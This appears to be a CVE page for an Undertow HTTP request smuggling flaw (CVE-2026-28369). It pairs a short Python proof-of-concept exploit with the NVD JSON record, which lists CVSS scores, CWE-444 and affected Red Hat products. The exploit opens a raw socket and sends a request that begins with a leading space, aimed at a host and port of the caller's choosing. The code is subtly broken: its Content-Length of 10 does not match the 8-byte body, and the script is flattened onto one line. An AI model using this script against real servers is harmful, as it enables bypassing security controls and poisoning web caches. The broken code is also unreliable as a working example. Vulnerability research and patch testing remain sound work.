CVE-2026-28369

import socket def smuggle_request(host, port): # Create a socket connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) # Payload with leading space to trigger the vulnerability # This exploits the stripping of leading spaces payload = ( " GET / HTTP/1.1\r\n" "Host: {}\r\n" "Content-Length: 10\r\n" "\r\n" "SMUGGLED" ).format(host) s.send(payload.encode()) response = s.recv(4096) print(response.decode()) s.close() if __name__ == "__main__": smuggle_request("127.0.0.1", 8080)

{"cve": {"id": "CVE-2026-28369", "sourceIdentifier": "[email protected]", "published": "2026-03-27T17:16:28.240", "lastModified": "2026-03-31T18:08:21.153", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Undertow. When Undertow receives an HTTP request where the first header line starts with one or more spaces, it incorrectly processes the request by stripping these leading spaces. This behavior, which violates HTTP standards, can be exploited by a remote attacker to perform request smuggling. Request smuggling allows an attacker to bypass security mechanisms, access restricted information, or manipulate web caches, potentially leading to unauthorized actions or data exposure."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 5.8}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-444"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:redhat:build_of_apache_camel_-_hawtio:4.0:*:*:*:*:*:*:*", "matchCriteriaId": "19B253BB-F6CE-400B-87EF-1DF1AFFC2445"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:build_of_apache_camel_for_spring_boot:4.0:*:*:*:*:*:*:*", "matchCriteriaId": "06A6AC25-2E2D-4359-A806-CC0355513A20"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:data_grid:8.0:*:*:*:*:*:*:*", "matchCriteriaId": "7095200A-4DAC-4433-99E8-86CA88E1E4D4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:fuse:7.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "AAD91726-93D9-4230-BF69-6A79B58E09E0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:jboss_enterprise_application_platform:7.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "72A54BDA-311C-413B-8E4D-388AD65A170A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:jboss_enterprise_application_platform:8.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "0D8BC03A-4198-4488-946B-3F6B43962942"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:jboss_enterprise_application_platform_expansion_pack:-:*:*:*:*:*:*:*", "matchCriteriaId": "0A24CBFB-4900-47A5-88D2-A44C929603DC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:process_automation:7.0:*:*:*:*:*:*:*", "matchCriteriaId": "20A6B40D-F991-4712-8E30-5FE008505CB7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:single_sign-on:7.0:*:*:*:*:*:*:*", "matchCriteriaId": "9EFEC7CA-8DDA-48A6-A7B6-1F1D14792890"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:undertow:-:*:*:*:*:*:*:*", "matchCriteriaId": "8190B427-8350-43AE-8F54-6A40B701C95E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:*", "matchCriteriaId": "7F6FB57C-2BC7-487C-96DD-132683AEB35D"}]}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-28369", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2443262", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}